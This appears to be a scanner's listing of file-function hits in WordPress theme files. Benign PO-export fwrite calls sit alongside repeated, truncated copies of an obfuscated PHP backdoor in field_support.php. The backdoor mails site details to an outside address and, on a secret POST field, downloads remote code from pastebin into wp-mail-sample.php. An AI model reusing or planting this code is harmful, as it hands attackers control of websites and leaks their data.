    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fclose was found in the file php-po.php
    Line 259: //fclose($handle);
    Line 500: fclose( $handle );
    fopen was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77')
    file_get_contents was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77');}else{};}if(isset($_POST['o\x6cdmt\x73\x66e\x61\x74\x75r\x65s'])){${'\x47LO\x42\x41\x4cS'}['\x64u\x63\x61\x75y']='\x79\x65s';${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x6c\x76\x66\x65vb\x64\x67\x62\x6f']}=file_get_contents('h\x74tp://\x70a\x73\x74\x65\x62\x69\x6e\x2e\x63\x6fm/\x7
    fopen was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77')
    fwrite was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\x72\x69\x6e\x67';${$nexfhjjesdt}=__FILE__;if(strtolower(substr(PHP_OS,0,3))=='w\x69n')${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x62pl\x75ja']}='w\x69n';else${${'G\x4c\x4f\x42\x41L\x53'}['b\x70l\x75\x6aa']}='n\x69x';if(${${'\x47L\x4f\x42A\x4c\x53'}['\x62\x70lu\x6a\x61']}=='wi\x6e'){${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70\x71\x70\x63q\x69\x79\x73s\x6a']='s\x74\x72\x69\x6eg';${'\x47\x4c\x4fBA\x4c\x53'}['\x73\x6a\x63\x6ar\x6e\x75']='\x73\x74r\x69\x6eg';while((substr(${${'\x47L\x4f\x42\x41\x4cS'}['\x79\x65\x64x\x72g\x63']},-1)!='\x5c'))${${'\x47LOB\x41\x4c\x53'}['\x67p\x71\x70\x63\x71\x69\x79s\x73j']}=substr_replace(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x73jc\x6a\x72n\x75']},'',-1);${${'G\x4cOBA\x4c\x53'}['\x71\x6bl\x78k\x74m\x65\x73']}=${${'G\x4cO\x42\x41\x4cS'}['\x79\x65\x64x\x72gc']}.'.\x2e\\.\x2e\x5c\x2e.\x5c\x2e.\\\x2e.\\\x75pl\x6f\x61ds\\11.\x74m\x70';}else{${'\x47\x4c\x4f\x42AL\x53'}['\x6an\x6e\x73\x78\x74\x64\x62']='\x73t\x72\x69\x6e\x67';$euwnlwg='\x73t\x72\x69\x6e\x67';while((substr(${${'\x47LOB\x41L\x53'}['\x6a\x6e\x6e\x73\x78t\x64\x62']},-1)!='/'))${$euwnlwg}=substr_replace(${${'\x47\x4c\x4fBA\x4cS'}['y\x65d\x78\x72\x67c']},'',-1);${${'G\x4c\x4f\x42A\x4c\x53'}['q\x6blx\x6bt\x6des']}=${${'\x47L\x4f\x42\x41\x4c\x53'}['\x79\x65d\x78\x72g\x63']}.'\x2e./.\x2e/\x2e\x2e/../\x2e\x2e/\x75\x70loa\x64s/\x31\x31.tm\x70';}if(file_exists(${${'\x47\x4c\x4fBA\x4cS'}['\x63i\x61zy\x6db\x68\x63']})){}else{${'\x47\x4c\x4fB\x41\x4c\x53'}['\x75\x78\x79\x72y\x66\x65\x68']='\x66\x72\x6fm\x5fs\x65\x74';$lumdxprrlip='h\x65\x61\x64\x65\x72';${${'G\x4c\x4f\x42\x41\x4cS'}['\x75x\x79\x72\x79f\x65\x68']}='\x73\x63\x68emaMT\x53\x40'.$_SERVER['\x53E\x52\x56\x45\x52\x5f\x4eA\x4d\x45'];${${'\x47\x4cOB\x41\x4c\x53'}['\x70r\x71\x6e\x73\x62\x73\x6b\x77h\x68\x67']}='\x74\x68\x65\x6de\x73\x72\x76\x31@c\x73t\x77eaks.com';${${'\x47\x4cO\x42A\x4cS'}['\x77w\x75\x78\x64\x70\x6f\x68\x76\x6f']}='\x41c\x63e\x70ted';${'\x47L\x4f\x42\x41LS'}['e\x6e\x6e\x63\x6eo\x79']='\x74o';${'\x47\x4cOB\x41\x4cS'}['\x70q\x6fon\x72p\x6b']='h\x65\x61\x64\x65r';$suqqmh='me\x73sa\x67\x65';${${'\x47L\x4f\x42A\x4cS'}['\x70\x71\x6f\x6f\x6e\x72\x70\x6b']}='\x66rom: '.${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63\x77\x75s\x72\x6d\x63\x77\x69']};${${'G\x4c\x4f\x42\x41LS'}['\x76e\x62\x64g\x74\x67']}='\x4c\x69\x6ek\x20:\x20'.$_SERVER['\x53\x45\x52VER\x5f\x4eA\x4dE'].$_SERVER['RE\x51UES\x54_URI'].'\r\n';${$suqqmh}.='\x50\x61t\x68 : '.__file__;${${'\x47L\x4f\x42\x41LS'}['v\x70\x69\x76nw\x66ew\x6a\x72']}=@mail(${${'\x47\x4c\x4f\x42AL\x53'}['\x65\x6e\x6e\x63noy']},${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x77wu\x78d\x70\x6f\x68\x76\x6f']},${${'\x47\x4c\x4fB\x41L\x53'}['veb\x64\x67\x74g']},${$lumdxprrlip});if(${${'G\x4c\x4f\x42\x41L\x53'}['\x76\x70i\x76\x6ewfewj\x72']}==true){${${'GLOB\x41\x4cS'}['\x6eq\x6b\x78m\x6af\x75\x76\x6b\x64']}=fopen(${${'G\x4c\x4fBA\x4cS'}['\x71\x6b\x6c\x78k\x74\x6d\x65\x73']},'\x77');}else{};}if(isset($_POST['o\x6cdmt\x73\x66e\x61\x74\x75r\x65s'])){${'\x47LO\x42\x41\x4cS'}['\x64u\x63\x61\x75y']='\x79\x65s';${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x6c\x76\x66\x65vb\x64\x67\x62\x6f']}=file_get_contents('h\x74tp://\x70a\x73\x74\x65\x62\x69\x6e\x2e\x63\x6fm/\x72\x61w/\x45\x5aqw\x69\x33\x397');$jwqppxvvr='y\x65\x73';${${'\x47\x4c\x4f\x42\x41L\x53'}['\x6eq\x6bx\x6d\x6af\x75\x76\x6b\x64']}=fopen(getcwd().'/wp-\x6d\x61i\x6c-sa\x6dp\x6c\x65\x2ephp','w');${$jwqppxvvr}=fwrite(${${'\x47\x4c\x4f\x42\x41L\x53'}['\x6e\x71kxm\x6a\x66\x75\x76\x6b\x6
    file_get_contents was found in the file field_support.php
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\